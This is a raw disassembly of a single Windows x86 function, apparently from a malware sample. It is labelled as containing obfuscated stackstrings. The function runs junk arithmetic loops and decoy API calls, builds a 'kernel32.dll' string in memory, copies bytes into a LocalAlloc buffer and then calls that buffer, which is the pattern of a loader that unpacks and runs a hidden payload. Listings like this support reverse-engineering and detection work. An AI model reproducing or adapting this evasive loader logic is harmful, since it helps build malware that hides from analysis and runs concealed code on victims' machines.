Function at 0x402e60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetCommMask]
xor esi, esi
push 0
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0x11a6bc0
jge 0x40371d
mov dword [ebp - 0x194], 0x215f26fe
mov dword [ebp - 0x34], 0x71b946fd
mov dword [ebp - 0x158], 0x72a0f5c9
mov dword [ebp - 0x118], 0x2ace88c6
mov dword [ebp - 0xa0], 0x65f95423
mov dword [ebp - 0x6c], 0x65e0abf6
mov dword [ebp - 0xfc], 0x6aa91dff
mov dword [ebp - 0xd8], 0x756b018d
mov dword [ebp - 0x198], 0x38d0800a
mov dword [ebp - 0x9c], 0x2e854f47
mov dword [ebp - 8], 0x3f5a4971
mov dword [ebp - 0x14c], 0x32594067
mov dword [ebp - 0xd0], 0x2e4ad6f1
mov dword [ebp - 0xf4], 0x7c22c9cc
mov dword [ebp - 0xec], 0xdfc685b
mov dword [ebp - 0xe4], 0x15bff219
mov dword [ebp - 0xdc], 0x7a27d609
mov dword [ebp - 0x64], 0xf4e80ee
mov dword [ebp - 0x20], 0x17963b61
mov dword [ebp - 0xd4], 0x1ff72d7c
mov dword [ebp - 0x88], 0x202f787c
mov dword [ebp - 0x78], 0x1b426fb4
mov dword [ebp - 0x108], 0x13f1f42f
mov dword [ebp - 0x140], 0x163e3804
mov dword [ebp - 0x1a0], 0x39cb0797
mov dword [ebp - 0x128], 0x5337a4bc
mov dword [ebp - 0xcc], 0x56f77212
mov dword [ebp - 0x1b0], 0xbb21ee2
mov dword [ebp - 0x58], 0x1d6f6ac1
mov dword [ebp - 0x18c], 0x7c388665
mov dword [ebp - 0xf0], 0x6e740031
mov dword [ebp - 0x144], 0x7a898d4b
mov dword [ebp - 0x70], 0x7a6c6321
mov dword [ebp - 0x110], 0x6b14a43f
mov dword [ebp - 0x1a4], 0x73692f7e
mov dword [ebp - 0x2c], 0x2a75f902
mov dword [ebp - 0x98], 0x51c19230
mov dword [ebp - 0x40], 0x4fab3e9a
mov dword [ebp - 0x190], 0x7d2c28da
mov dword [ebp - 0xc8], 0x1c781758
mov dword [ebp - 0x184], 0x61b28cf0
mov dword [ebp - 0x17c], 0x4b2428a0
mov dword [ebp - 0x174], 0x4f7d986b
mov dword [ebp - 0xc4], 0x5740066c
mov dword [ebp - 0x13c], 0x5ce6a21b
mov dword [ebp - 0x188], 0x2333426b
mov dword [ebp - 0xbc], 0x741d2fc2
mov dword [ebp - 0x24], 0x10a73630
mov dword [ebp - 0xb0], 0x46910f70
mov dword [ebp - 0x130], 0x77757ed1
mov dword [ebp - 0x134], 0x5632d995
mov dword [ebp - 0x5c], 0x194c0f1c
mov dword [ebp - 0xf8], 0x6584ba5
mov dword [ebp - 0x168], 0x707e75af
mov dword [ebp - 0xe8], 0x3f50573f
mov dword [ebp - 0x54], 0x63cfc343
mov dword [ebp - 0x18], 0x243d7139
mov dword [ebp - 0x94], 0x7834e560
mov dword [ebp - 0x8c], 0x559d11a
mov dword [ebp - 0x180], 0x16211f6f
mov dword [ebp - 0xb4], 0x344fd121
mov dword [ebp - 0x28], 0x6eab4ed2
mov dword [ebp - 0x12c], 0x4478df9f
mov dword [ebp - 0x16c], 0x70fc461e
mov dword [ebp - 0x1ac], 0x1c5c64c8
mov dword [ebp - 0xac], 0x5ec711e0
mov dword [ebp - 0x84], 0x38ac7ed5
mov dword [ebp - 0x150], 0x60008650
mov dword [ebp - 0x38], 0x34c95ab
mov dword [ebp - 0x164], 0x27dd1958
mov dword [ebp - 0x4c], 0x7390c128
mov dword [ebp - 0x1c], 0x33e54e62
mov dword [ebp - 0x7c], 0x3cdcfc16
mov dword [ebp - 0x44], 0x44b26261
mov dword [ebp - 0x124], 0xe6fc1f6
mov dword [ebp - 0x15c], 0x1cd76a0a
mov dword [ebp - 0x68], 0x46e63751
mov dword [ebp - 0x3c], 0x779fd53d
mov dword [ebp - 0x11c], 0x30a533fa
mov dword [ebp - 0x178], 0x4d97150c
mov dword [ebp - 0x1a8], 0x4f022e3c
mov dword [ebp - 0x80], 0x4d1e4503
mov dword [ebp - 0x154], 0x71b72c2f
mov dword [ebp - 0x14], 0x636f68eb
mov dword [ebp - 0x114], 0x3d9aa20f
mov dword [ebp - 0xc0], 0x3908c9ea
mov dword [ebp - 0xa8], 0x8d35a75
mov dword [ebp - 0x10c], 0x1dc9f5d3
mov dword [ebp - 0x10], 0x3f2092df
mov dword [ebp - 0x90], 0x1f15378c
mov dword [ebp - 0xa4], 0x4f0a1474
mov dword [ebp - 0x138], 0x7bb1de1c
mov dword [ebp - 0xc], 0x47eba2a7
mov dword [ebp - 0xe0], 0x1f30b8a9
mov dword [ebp - 0x50], 0x72f4046e
mov dword [ebp - 0x104], 0x4f227b04
mov dword [ebp - 0x148], 0x44c217f5
mov dword [ebp - 0x100], 0x61f4f50f
mov dword [ebp - 0x170], 0x6d6cd22e
mov dword [ebp - 0x120], 0x1fe78b1f
mov dword [ebp - 0x30], 0x67c4f00b
mov dword [ebp - 0xb8], 0x366fe7bb
mov dword [ebp - 0x48], 0x75b6dc54
mov dword [ebp - 0x19c], 0x5f88341f
mov dword [ebp - 0x160], 0x4f31bab9
mov dword [ebp - 4], 0x55047d4
mov dword [ebp - 0x74], 0x1e4a4bdc
mov dword [ebp - 0x60], 0x3259e344
mov eax, 0x4095f51f
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
add dword [ebp - 0x194], 0x69dfe6a0
sub dword [ebp - 0x34], 0x89c3bb9
add dword [ebp - 0x158], 0x481fd40f
sub dword [ebp - 0x6c], 0x2165d058
sub dword [ebp - 0x118], 0x441c2e86
add dword [ebp - 0x34], 0x3da4ae51
mov eax, 0x5d1999a8
mul dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
mov eax, 0x35d8bbe3
mul dword [ebp - 0x158]
mov eax, dword [ebp - 0x158]
mov eax, 0x50a0d238
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, 0x1e329a7c
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
sub dword [ebp - 0x14c], 0x40ed9477
mov eax, 0x58428992
mul dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
sub dword [ebp - 0xd0], 0x45b3872c
mov eax, 0x4444a06
mul dword [ebp - 0x194]
mov eax, dword [ebp - 0x194]
add dword [ebp - 0x194], 0x6ae4469a
mov eax, 0x4fe92fb2
mul dword [ebp - 0x198]
mov eax, dword [ebp - 0x198]
add dword [ebp - 0x194], 0x39530cb0
mov eax, 0x1e1a76a2
mul dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, 0x3359cc02
mul dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, 0x2861c6de
mul dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
mov eax, 0x7da18e27
mul dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
sub dword [ebp - 0xec], 0x5acdba27
add dword [ebp - 0x194], 0x3ecc4f17
add dword [ebp - 8], 0x7cf9bcb5
sub dword [ebp - 0x34], 0x1fa81dd8
add dword [ebp - 0xd8], 0x49f5bb64
add dword [ebp - 0x158], 0x6a79b9c2
mov eax, 0x81ee75d
mul dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, 0x7dad3c14
mul dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov eax, 0x756447e2
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
add dword [ebp - 0xfc], 0x17b7196a
sub dword [ebp - 0xd4], 0x631e504b
mov eax, 0x1c300a38
mul dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
sub dword [ebp - 0x158], 0x2fde97dd
add dword [ebp - 0xfc], 0x701bb928
sub dword [ebp - 0xf4], 0x55992c54
mov eax, 0x742f497b
mul dword [ebp - 0xdc]
mov eax, dword [ebp - 0xdc]
add dword [ebp - 0x140], 0x7865ce16
mov eax, 0x752d8d94
mul dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
add dword [ebp - 0x88], 0x468f421f
mov eax, 0x6c88e07a
mul dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
add dword [ebp - 0x34], 0x74cb065c
add dword [ebp - 0xfc], 0x7d66fd73
sub dword [ebp - 8], 0x4f13198a
add dword [ebp - 0x198], 0x51684f73
mov eax, 0x3f99d6d7
mul dword [ebp - 0x158]
mov eax, dword [ebp - 0x158]
sub dword [ebp - 0x64], 0x7d930777
mov eax, 0x190ec860
mul dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
add dword [ebp - 0x14c], 0x50afffe4
sub dword [ebp - 0xf4], 0x6377152e
sub dword [ebp - 0x9c], 0x67674b44
add dword [ebp - 0x194], 0x58f3d39c
sub dword [ebp - 0xd8], 0x37ecb52d
sub dword [ebp - 0x140], 0x209f62b
mov eax, 0x3e01b070
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0xa0], 0x6f97ba2d
mov eax, 0x1f79f30
mul dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
sub dword [ebp - 0xcc], 0x6668eea9
sub dword [ebp - 0xa0], 0x53b06943
sub dword [ebp - 0x144], 0x26642af
mov eax, 0x30a510a3
mul dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
sub dword [ebp - 0x17c], 0x2b8b2d49
mov eax, 0x624e018b
mul dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x1a4]
add dword [ebp - 0x140], 0x4a4691c8
add dword [ebp - 0x1a4], 0x2053480f
add dword [ebp - 0x78], 0x1810e8a0
mov eax, 0x3e07d9da
mul dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, 0x6da52f01
mul dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
add dword [ebp - 0x20], 0x79777cfb
sub dword [ebp - 0xf0], 0x669a0baa
sub dword [ebp - 0xd4], 0x534ef7c0
add dword [ebp - 0x144], 0x69c484c8
add dword [ebp - 0xe4], 0x16e2c8f9
mov eax, 0x2d5a9e5e
mul dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, 0x27fb0714
mul dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
sub dword [ebp - 0xec], 0x463a8678
add dword [ebp - 0x174], 0x36d5faf9
mov eax, 0xbbfc32
mul dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
mov eax, 0xbc97654
mul dword [ebp - 0x184]
mov eax, dword [ebp - 0x184]
mov eax, 0x6ef09f2e
mul dword [ebp - 0x188]
mov eax, dword [ebp - 0x188]
add dword [ebp - 0x158], 0x2c73119d
sub dword [ebp - 0x174], 0x47a723a8
add dword [ebp - 0x40], 0x4f2ef5ee
add dword [ebp - 0x64], 0x5410559d
sub dword [ebp - 0x194], 0x2699449c
sub dword [ebp - 0x64], 0x65c7dcfb
mov eax, 0x7c740ed1
mul dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov eax, 0x35e7e31c
mul dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
sub dword [ebp - 0xa0], 0x7daabaac
mov eax, 0x2eee652e
mul dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
sub dword [ebp - 0xc4], 0x50a6a698
add dword [ebp - 0x18c], 0x5c70d41e
add dword [ebp - 0x2c], 0xb68ffd4
add dword [ebp - 0x140], 0x5f3bce04
mov eax, 0x373704b7
mul dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
sub dword [ebp - 0x70], 0x4fb31aff
mov eax, 0x796f2276
mul dword [ebp - 0x184]
mov eax, dword [ebp - 0x184]
mov eax, 0x182951a2
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
add dword [ebp - 0x98], 0x7fb6d7f8
cmp esi, 0x365fd7
jg 0x403732
inc esi
cmp esi, 0x13d54e64
jl 0x402e7a
cmp dword [0x4789bc], 0x16
jne 0x403757
push 0
call dword [sym.imp.KERNEL32.dll__lclose]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
mov eax, 0xb2d3b
add dword [0x4789bc], eax
mov ecx, dword [0x4202fc]
mov edx, 0x2e
mov word [0x4789d0], dx
mov edx, dword [0x4789bc]
mov eax, 0x65
mov word [0x4789c8], ax
push edx
mov eax, 0x6c
push 0
mov dword [0x4789d2], 0x6c0064
mov dword [0x4789c4], 0x6e0072
mov dword [0x4789c0], 0x65006b
mov dword [0x4789cc], 0x320033
mov dword [0x4789d6], 0x6c
mov word [0x4789ca], ax
mov dword [0x47e854], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4754c0], eax
call fcn.00402de0
mov edx, dword [0x4789bc]
xor eax, eax
test edx, edx
je 0x403811
jmp 0x4037f0
mov ecx, dword [0x47e854]
mov dl, byte [eax + ecx + 0xb2d3b]
mov ecx, dword [0x4754c0]
mov byte [eax + ecx], dl
mov edx, dword [0x4789bc]
inc eax
cmp eax, edx
jb 0x4037f0
mov edi, dword [sym.imp.KERNEL32.dll_FreeConsole]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor esi, esi
nop
lea eax, [esi + edx]
cmp eax, 0x5e
jne 0x403850
call edi
push 0
call ebx
push 0x401220
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
lea ecx, [ebp - 0x5b0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, dword [0x4789bc]
inc esi
cmp esi, 0x40c893
jl 0x403820
mov ecx, dword [0x4754c0]
push 0x418af8
call fcn.00402ce0
mov ecx, 0x4754c0
call fcn.00402dc0
mov esi, dword [sym.imp.KERNEL32.dll_SearchPathA]
mov edi, dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov dword [ebp - 4], 0x7b
lea esp, [esp]
cmp dword [0x4789bc], 0xd
jne 0x403906
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x5b0]
push eax
push 0
push 0x40124c
push 0x401258
push 0x40126c
call esi
push 0
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
push 0
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
push 0x401278
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetNumberOfEventLogRecords]
cmp dword [0x4789bc], 0xf
jne 0x40392a
push 0
push 0
lea ecx, [ebp - 0x9b0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
dec dword [ebp - 4]
jne 0x403890
push 0x401280
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x4754c0]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret